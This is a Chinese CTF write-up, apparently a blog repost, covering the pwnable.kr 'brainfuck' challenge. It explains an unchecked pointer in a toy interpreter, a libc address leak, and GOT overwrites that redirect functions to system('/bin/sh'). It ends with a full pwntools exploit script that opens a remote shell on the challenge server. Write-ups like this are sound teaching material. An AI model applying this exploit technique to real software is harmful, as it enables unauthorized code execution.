美文网首页
pwnable.kr之brainfuck

pwnable.kr之brainfuck

作者: hyrathon | 来源:发表于2018-06-26 11:33 被阅读0次

    pwnable.kr之brainfuck.md

    Overview

    题目给了一个简陋版的brainfuck解释器, 实现了非常简单的功能

    int __cdecl do_brainfuck(char a1)
    {
      int result; // eax
      _BYTE *v2; // ebx
    
      result = a1;
      switch ( a1 )
      {
        case 43:
          result = p;
          ++*(_BYTE *)p;
          break;
        case 44:
          v2 = (_BYTE *)p;
          result = getchar();
          *v2 = result;
          break;
        case 45:
          result = p;
          --*(_BYTE *)p;
          break;
        case 46:
          result = putchar(*(char *)p);
          break;
        case 60:
          result = p-- - 1;
          break;
        case 62:
          result = p++ + 1;
          break;
        case 91:
          result = puts("[ and ] not supported.");
          break;
        default:
          return result;
      }
      return result;
    }
    

    在主循环逻辑中读取用户输入的每一个字符做相应操作.

    2018-06-26-09-40-37.png

    注意光标选中的p是当前执行到的指针, tape是一个长度为1024的buffer存储用户输入的brainfuck代码. 二者都位于.bss段上, 恰巧离got表很近. 而主循环逻辑do_brainfuck提供了指针前移, 后移, 读byte, 写byte等丰富操作, 却没有对p值的范围是否在tape中做校验, 因此此处存在漏洞可以一定范围内任意读写, 后续考虑利用其对.got表进行修改.

    泄露libc地址

    修改.got表的基本思想是将一个普通函数.got.plt指针修改为要调用的目标函数指针. 为此需要首先知道libc基址来确定目标函数地址. 由于开启了alsr必须在程序执行过程中泄露libc基址, 可以将p移位到.plt.got位置并输出某一函数地址, 由于题目给了用到的 libc.so, 因此可以确定函数的偏移, 二者相减即可得到运行时libc基址.

    brainfuck处理过程中, '<'可以使p指针前移一个字节, '>'则是后移, '.'输出当前字节, ','写当前字节. 通过计算p当前位置与.plt.got的距离并移位, 定位到putchar函数.
    输出时需要每输出一次移位一次, 得到的结果拼接后u32解得地址. 由于环境没有输入法, 注释全都英文

    2018-06-26-09-58-51.png
    payload = '.' # run putchar for one time to let the programme write .got.plt dynamic value
    payload += '<' * 0x70 + '.>' * 4 
    payload += '[' # force the program to call puts, fill .got.plt
    
    for i in range(4):
        raw_result += p.recv(1)
    addr_putchar = u32(raw_result)
    addr_libc = addr_putchar - off_putchar
    

    这里额外要注意的一点是通过.plt.got获得函数地址前, 必须先调用一次该函数, 这是因为使用了'延迟绑定'技术, 第一次执行时进行绑定操作, 第二次之后才会直接执行.

    覆写.plt.got流程

    由于已经有了libc基址能够计算各函数在运行时实际地址, 接下来进行正式的覆盖. 考查main函数


    2018-06-26-10-08-17.png

    memset和fgets函数共用同一个param0, 如果将memset改为gets()并读入/bin/sh, fgets改写为system, 即可实现system('/bin/sh')调用拿shell.

    为了能够跳转到main函数需要额外覆盖puts函数为main函数, 然后主动调用do_brainfuck的case 91触发执行. 调试中发现, 直接跳转到main函数起始地址栈会segment fault(vmmap看可能是因为s参数过大, 栈空间不够), 因此改为直接跳转到memset函数布置参数处.

    最终的exp如下:

    # todo using oneshot gadget to get shell directly in libc.so
    
    from pwn import *
    
    context.terminal = ['tmux', 'splitw', '-h']
    
    # off_gets = 0x66ae0
    # off_system = 0x3cd10
    # off_putchar = 0x69130
    off_gets = 0x5e770
    off_system = 0x3a920
    off_putchar = 0x60c80
    addr_main = 0x08048700
    
    # p = process('bf')
    p = remote('pwnable.kr', 9001)
    # gdb.attach(p)
    print p.recvuntil('except [ ]')
    payload = '.' # run putchar for one time to let the programme write .got.plt dynamic value
    payload += '<' * 0x70 + '.>' * 4 
    payload += '[' # force the program to call puts, fill .got.plt
    
    # Overwrite 3 spots in .got.plt
    # puts -> main to detour the control flow
    # memset -> gets to put '/bin/sh' to 'char s[1024]'
    # fgets -> system to call system('/bin/sh'), where s is exactly at the top of stack as param[0]
    
    # now p is at 0804A034
    # alter fgets
    payload += '<' * 0x24 + ',>,>,>,>' # maybe there is a \n to deal with
    
    # now p is at 0x0804a010
    #alter puts
    payload += '>' * 0x04 + ',>,>,>,>'
    
    # now p is at 0x0804a018
    # alter memset
    payload += '>' * 0x10 + ',>,>,>,>'
    
    payload += '[' # trigger a call to puts(actually main)
    
    p.sendline(payload)
    
    print p.recvline() # '[' error report
    #print p.recvline() # \n
    raw_result = ""
    p.recv(1)
    for i in range(4):
        raw_result += p.recv(1)
    addr_putchar = u32(raw_result)
    addr_libc = addr_putchar - off_putchar
    print('Leaked libc base is: ' + hex(addr_libc))
    addr_system = addr_libc + off_system
    addr_gets = addr_libc + off_gets
    
    #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! todo before overwrite func, we should call each func for at least one time to make sure the .got.plt is dynamically altered
    
    addrs = p32(addr_system) + p32(addr_main) + p32(addr_gets)
    p.sendline(addrs + '/bin/sh')
    
    p.interactive()
    
    
    ```![2018-06-26-09-40-37.png](https://img.haomeiwen.com/i1814637/43cd6cd0b5277054.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
    

    相关文章

      网友评论

          本文标题:pwnable.kr之brainfuck

          本文链接:https://www.haomeiwen.com/subject/cpvpyftx.html